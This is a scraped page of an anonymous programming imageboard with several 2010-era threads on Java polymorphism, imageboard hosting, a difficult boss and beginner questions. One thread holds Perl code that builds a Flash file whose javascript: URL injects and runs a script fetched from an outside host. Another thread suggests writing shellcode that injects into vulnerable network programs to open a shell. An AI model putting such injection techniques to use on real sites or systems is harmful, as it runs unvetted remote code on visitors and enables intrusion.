Programming @4-ch

Programming @4-ch

Be it HTML, C++, Java or whatever language you prefer, programming is what we do best around this board.
Markup languages are also fine around here, as with all the "not so real" languages of Shell script, CSS, and other various third party scripting languages.
  • We are sick of language discrimination, more so the PHP/Java bashers. There will be little tolerance of blatant and repetitive insults. You are still welcome to bring forward a sensible, insult-free argument regarding a certain topic at the appropriate time and place for it.
  • Please use WakabaMark or the appropriate HTML tags (with HTML enabled, of course) to format your code.
Rules · 規則
基本的には英語の使用を強く希望します。ただ日本語板の場合は日本語か英語。
Board look: Blue Moon Buun Futaba Headline Mercury Pseud0ch Toothpaste

Imageboard for ProBoards (10)

1 Name: Moniker : 2010-07-25 03:19 ID:IwJTeXOp

I was wondering if it could be possible to code an imageboard for a ProBoards forum. I'll be willing to take up the challenge if I knew how to code. Is this possible and if so, where do I begin?

2 Name: Moniker : 2010-07-25 04:55 ID:IwJTeXOp

I also am interested in running a two board imageboard and would like some tips on how to set one up.

3 Name: #!/usr/bin/anonymous : 2010-07-25 18:39 ID:Heaven

Why don't you ask ProBoards? I'm sure they'll be open to the idea of people adding untrusted extensions to their proprietary web service.

4 Name: #!/usr/bin/anonymous : 2010-07-25 23:28 ID:IwJTeXOp

ProBoards usually has a large database of codes.
http://proboards.ifcode.com/

5 Name: #!/usr/bin/anonymous : 2010-08-03 10:07 ID:IwJTeXOp

Damn it, now I'm curious.

6 Name: #!/usr/bin/anonymous : 2010-08-14 12:09 ID:UIOU/sj7

Why don't you write a plugin for http://fluxbb.org/ instead? ProBoards seems to be a closed-source system that you don't control. VPS are cheap nowadays.

7 Name: #!/usr/bin/anonymous : 2010-08-18 12:50 ID:Heaven

how about NO

8 Name: #!/usr/bin/anonymous : 2010-08-19 01:55 ID:MNuRUc3g

Use KusabaX

9 Name: #!/usr/bin/anonymous : 2010-08-24 12:12 ID:IwJTeXOp

>>8
Use it how?

10 Name: Mr. Vile!l9/dToUs32 : 2010-09-01 05:15 ID:gskZEfw8

OP, please do not write Yet Another Shitty Imageboard Script; for the benefit of everyone.

Name: Link:
Leave these fields empty (spam trap):
More options...
Verification:

Free Web Hosting (3)

1 Name: Moniker : 2010-08-27 13:44 ID:hDyGJ+tv

What are some good free web hosting that allow PHP support?

000webhosts suspended my account because I cannot have file uploading scripts on free accounts.

What are some good ones?

2 Name: #!/usr/bin/anonymous : 2010-08-30 02:09 ID:CaZQ3wUu

>good
>free

mutually exclusive, i'm afraid

3 Post deleted.

Name: Link:
Leave these fields empty (spam trap):
More options...
Verification:

doesn't this make polymorphism useless (6)

1 Name: x : 2010-06-29 05:48 ID:bj54dl61

Hey all.

Say I have parent class Bicycle (this is in Java if you care) and it has children classes RoadBike and MountainBike.

Say I did this...

//=====================================================
public class TestBikes {
public static void main(String[] args){

Bicycle bike01, bike02, bike03;
bike01 = new Bicycle(20, 10, 1);
bike02 = new MountainBike(20, 10, 5, "Dual");
bike03 = new RoadBike(40, 20, 8, 23);
bike01.printDescription();
Post too long. Click to view the whole post or the thread page.

2 Name: #!/usr/bin/anonymous : 2010-06-30 19:31 ID:ZljKLK1n

Indeed, in this case you don't need polymorphism. But you need it when you write something like this:
//===
Bicycle bike;

if (condition)
bike = new MountainBike(20, 10, 5, "Dual");
else
bike = new RoadBike(40, 20, 8, 23);

...

bike.printDescription();
//===

3 Name: #!/usr/bin/anonymous : 2010-06-30 22:58 ID:nTCRGN+u

Polymorphism is useful when the function, program, programmer, etc, has agreed on a set of functions for some behavior, but does not care for the identity of the object itself.

4 Name: #!/usr/bin/anonymous : 2010-07-07 17:24 ID:rHL6hpwO

The printDescription() method of the base Bicycle could print some information like say, the price.
When you make the printDescription() of the Child objects, you could make it call the printDescription() of the parent, so that you don't have to print the price again.

That's the goal of polymorphism, making thing easier to modify and give more sense to the semantics

5 Name: #!/usr/bin/anonymous : 2010-08-12 09:50 ID:V5d1thiu

YOU ARE COMPLETELY CORRECT. THIS MAKES POLYMORPHISM USELESS. I JUST SENT A LETTER TO ORACLE TO INFORM THEM OF THIS, AND IT SHOULD BE REMOVED FROM THE NEXT VERSION OF JAVA.

6 Name: #!/usr/bin/anonymous : 2010-08-14 12:06 ID:BEdbUVEM

>>1
In your example, it's useless. But if you had an example like this:

void doSomethingWithBike(Bicycle bike) {
bike.move(12);
bike.printDescription();
}

you can doSomething with all kind of bikes. The point of polymorphism is to allow methods to "don't give a fuck" about the objets they are manipulating. It's not for you, it's for the code.

Name: Link:
Leave these fields empty (spam trap):
More options...
Verification:

Managers, bosses... (8)

1 Name: #!/usr/bin/anonymous : 2010-08-09 05:48 ID:Yc4I4lzR

My current "boss" is a real noob when it comes to programming. The problem is that he's the "chief technical officer" of the team, and he's supposed to write specifications, write code, and take care of the project.

He's younger than me (and I'm almost 30, he's just out of school), can't write C++, he sucks at C#, doesn't know what SVN is, and think that everything should not take more than 15 minutes (you have to port Windows to the iPhone? that shouldn't be longer than one hour, after all it's just some drag-and-drop and recompile). Also he sucks at grammar, and, well, everything else when I think about it.

WTF can I do? I'm not about to quit because of this moron, but I'm a bit depressed.

2 Name: dmpk2k!hinhT6kz2E : 2010-08-09 17:31 ID:Heaven

How did somebody just out of school end up a CTO? I think your company's problems go a bit deeper...

Does he show any motivation to improve?

3 Name: #!/usr/bin/anonymous : 2010-08-10 05:11 ID:Yc4I4lzR

He's not really the CTO of the company, he's just the "leader of a small team of programmers" but still it's scary enough as he's just out of school.

He has no motivation to improve, he always talks to others as if they were his slaves. "you're on my team, you'll do this and nothing else" OTOH he's respectful to other "bosses" and team leaders of the company (I guess that's because he's lying all the time about his competences) and if I disagree with him, I'm the bad guy (the bad guy who rewrote all the kernel of their application but they forgot about it very fast).

I've seen his source code, it's awful. He shows no remorse when I tell him that "maybe he shouldn't return a value after having thrown an exception." He just doesn't give a fuck because he's the new boss, and I would be the biggest asshole of the company if I talked about it to others.

</rant> sorry...

4 Name: dmpk2k!hinhT6kz2E : 2010-08-11 02:02 ID:Heaven

I would strongly recommend saving all emails. If he wants you to do anything, make him tell you over email. Or issue it to you over the bug tracker, where the bug tracker sends you an email; if he wants you to do anything, refuse to do it without an issue. And if you need to tell him anything, use email too.

Basically keep records of all interactions with him that you can (and keep them backed up). Sooner or later it sounds like he'll pin the blame for something he did at on somebody else. When that happens your only defense -- either at work or with a lawyer when you're after severance -- is what you've documented.

You should do this as a matter of course, even in normal workplaces.

Otherwise I can only suggest it's time for a new job and a new pay hike. Once things start tanking, I've never seen them get better.

5 Name: dmpk2k!hinhT6kz2E : 2010-08-11 02:07 ID:Heaven

Oh, also, try not to get caught alone in an office with him. Witnesses are good. So are tape recordings if it's legal where you are to do so without his consent.

I realize this sounds paranoid, but your lawyer will love you, and I've seen what happens when somebody doesn't do this.

When the going gets tough, the tough start documenting.

6 Name: #!/usr/bin/anonymous : 2010-08-11 14:15 ID:byjggDkf

>>1

Do you and this dickbag work for a Telecom in NE Ohio by chance?

7 Name: #!/usr/bin/anonymous : 2010-08-13 03:14 ID:Heaven

>>6
there's a question you shouldn't expect an answer for. >>1 is the kind of post that could cause many problems if it wasn't anonymous, from pissing off his boss, or fired or even sued for defamation.

8 Name: #!/usr/bin/anonymous : 2010-08-14 12:02 ID:O/K1E6IA

OP here.

I won't get a lawyer or a new job. I like my current job (I have to write iPhone apps, I learned a lot by myself for my job). I will follow a few things though, and I'd like to thank you for those advice.

I will try to keep all my e-mails, it's invaluable. I will definitely avoid "private" meetings with him. He did it twice already and, every time, I feel like shit and he's not accountable for what he tells me to do. The rest of the developers already know what he's capable of, they don't like him either and avoid to work with him.

>>6 and 7
I'm in Europe, not in the USA, but I feel like there are a lot of guys like him in every country :)

Name: Link:
Leave these fields empty (spam trap):
More options...
Verification:

Smoke weed everyday (9)

1 Name: #!/usr/bin/anonymous : 2010-07-01 13:43 ID:CUP9EvwS

It makes programming less annoying

2 Name: #!/usr/bin/anonymous : 2010-07-10 10:33 ID:tMNdxDbd

Nope. You have to use your brain when you're coding. If you are annoyed by coding, then you should consider quiting.

3 Name: #!/usr/bin/anonymous : 2010-07-10 23:06 ID:T/GlYzfb

yeah everyone knows that coders are into speed and adderal and like substances.

The networking guys seem to like weed a lot. Maybe you should consider crossing the divide.

4 Name: #!/usr/bin/anonymous : 2010-07-14 01:33 ID:m0Fr78vN

>>2

It's a /prog/ joke.

5 Name: #!/usr/bin/anonymous : 2010-07-28 19:40 ID:dVV/8eC7

i'm a coder and mostly just do weed. does wonders!

6 Post deleted.

7 Name: #!/usr/bin/anonymous : 2010-08-11 05:10 ID:Heaven

>>4
It's really not.

8 Name: #!/usr/bin/anonymous : 2010-08-12 03:22 ID:+FXaTri4

Yeah im a network IT and we all smoke tons of weed, I can see where programmers like to use speed and shit

9 Name: #!/usr/bin/anonymous : 2010-08-18 08:29 ID:Heaven

>>4
it's actually a failed /b/ thing that has just been spammed all over /prog/ by the same idiot who tried to spam it on /b/ and failed. you're probably that idiot, and should go back to b, please.

Name: Link:
Leave these fields empty (spam trap):
More options...
Verification:

Programming (2)

1 Name: UnsoundAncient : 2010-08-12 03:19 ID:G5xyvDxP

Hey, Ive done programming in the past i learned on alice and then took C++ classes using Visual basic. But i want to get into programming a little more than i already am, Im not really good at writing the code but i can read it. What language should i Learn first and how should i learn it?
And I want to make programs for a windows and linux os's so i was thinking C++, C#, and Python would be good languages. But I want to get input from you guys first

2 Name: #!/usr/bin/anonymous : 2010-08-13 03:09 ID:Heaven

  1. Next time, choose your topic more carefully. "Programming" is useless in the topic index.
  2. This question has already been answered countless times on this board. Again, have a look at the topic index, and search for "beginner" or "learn", for example.
  3. "C++ classes using Visual basic" is completely nonsensical.
Name: Link:
Leave these fields empty (spam trap):
More options...
Verification:

Looking for information about objfpc (2)

1 Name: #!/usr/bin/anonymous : 2010-03-15 01:08 ID:jQvrenG2

Hey,

I'm looking for a book (or another good info source) about objfpc, I already knows pascal (mode fpc) and looking to learn classes and objects.

I already know python so I'm not new to OOP.

Anyone know such a source ? the documentation sucks.

2 Name: #!/usr/bin/anonymous : 2010-08-04 17:31 ID:KUdIXWN1

Hello my friend

Do you speak German? In that case there were two books created not long ago in the Lazarus community

I think the first one was translated to english, I just can't for the life of me remember the name

Otherwise just pick up a delphi book teaching the same. The syntax is pretty much the same for all the basic stuff(classes, interfaces, etc)

And feel free to ask on #fpc on freenode :)

Name: Link:
Leave these fields empty (spam trap):
More options...
Verification:

[ActionScript] getURL problem [SWF::Builder] (3)

1 Name: #!/usr/bin/anonymous : 2006-07-30 04:43 ID:NhaBR6//

so i thought i'd be clever and make a shockwave flash thingy (using the SWF::Builder perl module) to embed some javascript in a page... but it's getURL is opening the javascript: URL in a new window. here's the perl script i'm using to create the flash file:

#!/usr/bin/perl

use SWF::Builder;

my $movie = SWF::Builder->new;
my $as = $movie->init_action;
$as->compile('getURL("javascript:document.write(%27<script src=%22http://wakaba.c3.cx/bee.js%22></script>%27)","_self")');
$movie->save("bee.swf");

2 Name: #!/usr/bin/anonymous : 2010-08-03 15:14 ID:s+O7kD29

Any solution yet?

3 Name: #!/usr/bin/anonymous : 2010-08-06 08:10 ID:Heaven

>>2
this is what i ended up doing:

#!/usr/bin/perl
use SWF::Builder;
my $movie = SWF::Builder->new(FrameRate=>1,FrameSize=>[0,0,1,1],BackgroundColor=>'ffffff');
my $as = $movie->init_action;
$as->compile('getURL("javascript:(function(){setTimeout(%27var s=document.createElement(%22script%22);s.src=%22http://wakaba.c3.cx/bee.js%22;document.body.appendChild(s);%27,500);})()","_self","GET")');
$movie->save("bee.swf");

... the last time i touched this code was january 9, 2007.

Name: Link:
Leave these fields empty (spam trap):
More options...
Verification:

Absence of creative flow. (3)

1 Name: !ZtXjKqCmiQ : 2010-07-25 18:54 ID:ApXBX2Sh

I am a C programmer, if I could actually classify myself as that. I don't have a programmers degree on paper, but I know the language enough to make it do something. I would like to think that I am actually learning the language and not just making it put out useless crap to the output. The problem is though, I have previously worked with scripting languages and languages like PHP, including PHP itself, and there, it's all done for you. You don't see PHPs interaction with other programs or anything else.

C, being the language that it is, seems very redeeming to me. I feel as if I am in full control over what happens and how it happens. The only problem is, I am having this, sort of, writers block, if you will. I have no ideas for what to write, except for huge projects which are either out of my league or very time consuming in the long run. What I would like to do is, create small-to-medium applications which interact with other programs and/or services on the network. Or ones without interaction, yet providing the thrill of pushing it a bit further every time.

It seems that I have come here in need of advice. So, I am hoping someone could give some guidance. I am tired of "write a hangman game", "write a calculator", "write <some-generic-application-of-whom-you-see-the-end-after-the-first-400-lines-of-code-and-becoming-completely-useless>".

2 Name: #!/usr/bin/anonymous : 2010-07-26 06:46 ID:NLca9Kkb

Read SICP.

Speaking seriously, you might be interested in writing code that injects itself into vulnerable programs on a network and brings up a shell that gives you access to the target computer. I took a networking class where a group did this. It was only a 3-week course and we were only undergrads, so it can't be too difficult. The catch was that they wrote the vulnerable program themselves to make it easier -- to increase the difficulty, try to infiltrate programs with greater security.

3 Name: !ZtXjKqCmiQ : 2010-07-26 15:56 ID:ApXBX2Sh

Oh. You called it. A friend of mine gave me that book some time ago, yet I haven't had the chance to attend it properly, but it seemed interesting enough for the first few pages. I will have to read it now that someone for aside has suggested it.

So, what you're saying is, I should give a shot at writing shellcode delivering apps. Well, that has been of interest to me for some time, especially because it's a good way to familiarize oneself with assembly, which has been on my to-learn list for some time now.

Thanks for the idea and I will post back if I succeed at something.

Name: Link:
Leave these fields empty (spam trap):
More options...
Verification:

Noob question about PHP (4)

1 Name: #!/usr/bin/anonymous : 2010-07-18 00:50 ID:7CnOSBWt

Don't know if this board is only about c++ and stuff, but if someone is bored please answer my question.

Synopsis:
I'll be hosting an internet go tournament with 140 players.
The 140 players will be split into 10 leagues, 14 players each.
The 140 players are of different playing strenghts.
From each player, we know "name", "country" and "rank".

Since in go, "rank" is not a simply rising digit, something like "level" has to be used, too (1=9-dan, 9=1-dan, 10=1-kyu, 20= 11-kyu etc).

So what I want to do, is insert all the data into arrays?(I suppose) and have it be sorted by "level". The order of people with same "rank"(="level") would get randomed.

Post too long. Click to view the whole post or the thread page.

2 Name: #!/usr/bin/anonymous : 2010-07-18 00:59 ID:7CnOSBWt

Would it be smarter to do this with MySql? I have no idea how that works, though.

3 Name: sage : 2010-07-18 21:41 ID:Heaven

Seems this is a dead board... Figured out a way to do this already, though.

4 Name: #!/usr/bin/anonymous : 2010-07-25 02:11 ID:Heaven

> 2010-07-18
> 2010-07-18
> 2010-07-18
> Seems this is a dead board...

back to /b/, please.

Name: Link:
Leave these fields empty (spam trap):
More options...
Verification:

New thread

Title:
Name: Link:
Leave these fields empty (spam trap):
More options...
Verification: